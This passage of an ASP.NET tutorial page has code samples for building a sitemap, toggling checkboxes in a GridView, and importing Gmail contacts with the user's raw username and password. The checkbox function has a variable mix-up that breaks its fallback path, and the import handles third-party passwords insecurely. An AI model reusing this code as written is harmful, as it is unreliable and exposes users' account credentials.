    <loc>http://www.infoa2z.com/sqlserver/count-duplicate-records-from-table-in-sql-server</loc>
    <lastmod>2012-12-12</lastmod>
    <changefreq>daily</changefreq>
    <priority>0.8</priority>
  </url>
</urlset>
Sample code in UpdateSitemap.asp.cs file

Namespace used

using System.Xml;
using System.Text;
using System.Configuration;
using System.Data.SqlClient;
using System.Data;
  protected void btnsubmit_Click(object sender, EventArgs e)
    {
        Response.Clear();
        Response.ContentType = "text/xml";
        using (XmlTextWriter writer = new XmlTextWriter(Server.MapPath("../uploadfiles/sitemap.xml"), Encoding.UTF8))
        {

            writer.WriteStartDocument();

            writer.WriteStartElement("urlset");

            writer.WriteAttributeString("xmlns", "http://www.google.com/schemas/sitemap/0.84");
            writer.WriteAttributeString("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance");
            writer.WriteAttributeString("xsi:schemaLocation", "http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd");


            SqlDataAdapter adp1 = new SqlDataAdapter("Select A.Title,lower((select name from Articles AC where AC.CategoryId=A.CategoryId)+'/'+url) as 'URL' from Articles A where A.Isactive=1", config.DbConn);
            DataSet ds = new DataSet();
            adp1.Fill(ds);
              if (ds.Tables[0].Rows.Count > 0)
              {
                
                    for (int LIntCtr = 0; LIntCtr <= ds.Tables[0].Rows.Count - 1; LIntCtr++)
                    {
                        writer.WriteStartElement("url");

                        writer.WriteElementString("loc", "http://www.infoa2z.com/" + ds.Tables[0].Rows[LIntCtr]["url"].ToString().ToString() + "");

                            writer.WriteElementString("lastmod", String.Format("{0:yyyy-MM-dd}", DateTime.Now));

                            writer.WriteElementString("changefreq", "daily");

                            writer.WriteElementString("priority", "0.8");
                            writer.WriteEndElement();
                    }
              }
              writer.WriteEndElement();
                     writer.Flush();  
  }
    }

 

How to select all checkbox inside a gridview datagrid in asp.net Javascript

Using below method, all the checkboxes will select/unsleect inside the gid. This  will work as toggle. You have to add a checkbox inside the header tag, when you will click on this checkbox then all the checkbox inside the gid will select. You can use this method on datagrid, datalist, gridview, listbox etc.
/Multiselect-Checkbox-datagrid-Gridview
Gridview code in ASPX page
 <asp:GridView Width="100%" ID="gdvListing" runat="server" GridLines="none"
                                DataKeyNames="LID" AllowSorting="true" AutoGenerateColumns="False" AllowPaging="True"
                                EmptyDataText="No Record Found !!" OnPageIndexChanging="gdvListing_PageIndexChanging"
                                OnRowCreated="gdvListing_RowCreated" OnSorting="gdvListing_Sorting" CellSpacing="1"
                                CellPadding="2" BorderWidth="0" EmptyDataRowStyle-Font-Bold="true">
                                <HeaderStyle HorizontalAlign="center" CssClass="Grid_HeaderStyle" />
                                <RowStyle HorizontalAlign="left" CssClass="rowStyle" />
                                <AlternatingRowStyle HorizontalAlign="left" CssClass="AlternateStyle" />
                                <Columns>
                                  <asp:TemplateField HeaderStyle-HorizontalAlign="left">
                                    <HeaderTemplate>
                                        <input type="checkbox" name="ChkAll" onclick="SelectAllCheckbox(this,'frmPage','ContentPlaceHolder1_gdvListing')" />
                                    </HeaderTemplate>
                                    <ItemTemplate>
                                        <asp:CheckBox ID="chkBox" runat="server" />
                                    </ItemTemplate>
                                    <ItemStyle HorizontalAlign="left" Width="1%" />
                                </asp:TemplateField>
 </Columns>

 </asp:GridView>

Javascript function to select all checkbox inside the grid

function SelectAllCheckbox(objChk, formName, gridName) {
    var selectedBoxes = "";
    formObj = document.forms[formName];
    var SelectAllCheckbox = "";
    if (formObj.elements[gridName]) {
        SelectAllCheckbox = formObj.elements[gridName];
    }
    else if (document.getElementById(gridName)) {
        returnval = document.getElementById(gridName);
    }
    if (SelectAllCheckbox.getElementsByTagName("input")) {
        var inputTags = SelectAllCheckbox.getElementsByTagName("input");
        var tagsLength = inputTags.length;
        for (var i = 0; i < tagsLength; i++) {
            if (objChk.checked == true) {
                inputTags[i].checked = true;
            }
            else {
                inputTags[i].checked = false;
            }

        }
    }
    return true;
}

Javascript function if you want to check that is record is selected or not in grid. If no record will be selected by checkbox then alert msg will popup.

function ConfirmationDelete(formName, gridName) {
    var selectedBoxes = "";
    formObj = document.forms[formName];
    var retval = "";
    if (formObj.elements[gridName]) {
        retval = formObj.elements[gridName];
    }
    else if (document.getElementById(gridName)) {
        retval = document.getElementById(gridName);
    }

    var inputTags = retval.getElementsByTagName("input");

    var tagsLength = inputTags.length;
    for (var i = 0; i < tagsLength; i++) {
        if (inputTags[i].checked == true)
            selectedBoxes = "1";
    }
    if (selectedBoxes.length > 0) {
        return window.confirm("Are you sure you want to delete records?");

    }
    else {
        alert("Please select the item(s) you want to delete!");
        return false;
    }
}

How to import Gmail Contacts in asp.net

To import the Gmail contacts using asp.net C#/VB, Below code is complete, you have to download the required dll and then copy paste that dll's into bin folder.
Click here to download dll
ImportGmailContacts.aspx
 <div id="ListingPage">
                    <h1>
                        Import GMail Contacts</h1>
                    <table width="95%" border="0">
                        <tr>
                            <td colspan="2" align="center" style="padding-left:2px;">
                                <span class="warning">
                                    <asp:Literal ID="litMessage" runat="server"></asp:Literal></span>
                            </td>
                        </tr>
                         <tr>
                            <td class="style1" valign="top" align="right"  width="20%">
                           Username :</td>
                        <td align="left"  width="20%">
                            <asp:TextBox ID="txtgmailusername" CssClass="inputBox" Width="180px" MaxLength="100" runat="server" ></asp:TextBox><br />
                            <asp:RequiredFieldValidator ID="RequiredFieldValidator1" runat="server" CssClass="warning"
                                ControlToValidate="txtgmailusername" ErrorMessage="*" Text="Please enter Username" ValidationGroup="a"></asp:RequiredFieldValidator>
                        </td>
                        </tr>
                          <tr>
                            <td class="style1" valign="top" align="right"  width="20%">
                           Password :</td>
                        <td align="left"  width="20%">
                            <asp:TextBox ID="txtpassword" CssClass="inputBox" TextMode="Password" Width="180px" MaxLength="40" runat="server" ></asp:TextBox><br />
                            <asp:RequiredFieldValidator ID="RequiredFieldValidator2" runat="server"  CssClass="warning"
                                ControlToValidate="txtpassword" ErrorMessage="Group Name" Text="Please enter Password" ValidationGroup="a"></asp:RequiredFieldValidator>
                        </td>
                        </tr>
                        <tr>
                            <td width="25%" align="left" colspan="2" style="padding-left:130px;">
                                <asp:Button ID="btnAddtoFav" runat="server"   CssClass="btnSubmitSimple" ValidationGroup="a"
                                    OnClick="Button1_Click" AlternateText=" " Height="28" BorderWidth="0" />
                                &nbsp;&nbsp;&nbsp;&nbsp;<asp:HiddenField ID="hdnId" runat="server" />
                                &nbsp;
                            </td>
                        </tr>
                    </table>
                </div>
                </div>

ImportGmailContacts.aspx.cs         
 using System;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
using Google.GData.Contacts;
using Google.GData.Client;
using Google.GData.Extensions;
using Google.Contacts;
namespace MBP
{
    public partial class GmailContacts : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {

        }

        protected void Button1_Click(object sender, EventArgs e)
        {
            try
            {
                DataSet ds = new DataSet();
                DataTable dt = new DataTable();

                DataColumn C2 = new DataColumn();

                C2.DataType = Type.GetType("System.String");

                C2.ColumnName = "EmailID";

                dt.Columns.Add(C2);


                DataColumn C3 = new DataColumn();

                C3.DataType = Type.GetType("System.String");

                C3.ColumnName = "title";

                dt.Columns.Add(C3);


                RequestSettings rs = new RequestSettings("MyBridalPlanner.com", txtgmailusername.Text, txtpassword.Text);

                rs.AutoPaging = true;

                ContactsRequest cr = new ContactsRequest(rs);

                Feed<Contact> f = cr.GetContacts();
              
                foreach (Contact t in f.Entries)
                {

                    foreach (EMail email in t.Emails)
                    {

                        DataRow dr1 = dt.NewRow();

                        dr1["EmailID"] = email.Address.ToString();
                        dr1["title"] = t.Title.ToString();
                        dt.Rows.Add(dr1);

                    }

                }

                ds.Tables.Add(dt);

                if (ds != null)
                {
                    if (ds.Tables[0].Rows.Count > 0)
                    {
                        DataTable dt1 = ds.Tables[0];

                        if (dt1 != null)
                        {
                            foreach (DataRow dr in dt1.Rows)
                            {
                                MBP_GuestList guest = GuestMgmtClass.GetData(0);
                                bool isNew = guest == null;
                                if (guest == null)
                                {
                                    guest = new MBP_GuestList();
                                    guest.added = DateTime.Now;

                                }
                                else
                                {
                                    guest.updated = DateTime.Now;
                                }
                                guest.Email = dr["EmailID"].ToString();

                                if (!GuestMgmtClass.DuplicateGuestByEmail(guest.Email, Convert.ToInt32(User.Identity.Name)))
                                {
                                    string name = dr["title"].ToString();

                                    string FName = string.Empty;
                                    string LName = string.Empty;
                                    if (name.Length > 0)
                                    {
                                        string[] namestr = name.Split(' ');
                                        if (namestr.Length > 0)
                                            FName = namestr[0].ToString();
                                        if (namestr.Length > 1)
                                            LName = namestr[1].ToString();
                                    }

                                    guest.FirstName = FName;
                                    guest.LastName = LName;
                                    guest.Relation = "";
                                    guest.Phone = "";
                                    guest.address = "";
                                    guest.IsActive = true;
                                    guest.RSVP = false;
                                    guest.Memberid = Convert.ToInt32(User.Identity.Name);
                                    guest = GuestMgmtClass.SetData(guest);
                                }

                            }
                        }
                        litMessage.Text = "Contacts imported successfully.";

                    }
                }
            }
            catch (Exception ex)
            {
                if (ex.Message.ToLower().Contains("invalid"))
                {
                    litMessage.Text = ex.Message;
                }
                else
                {
                    litMessage.Text = "Invalid Credentials.";
                }
               
                   
            }
        }
    }
}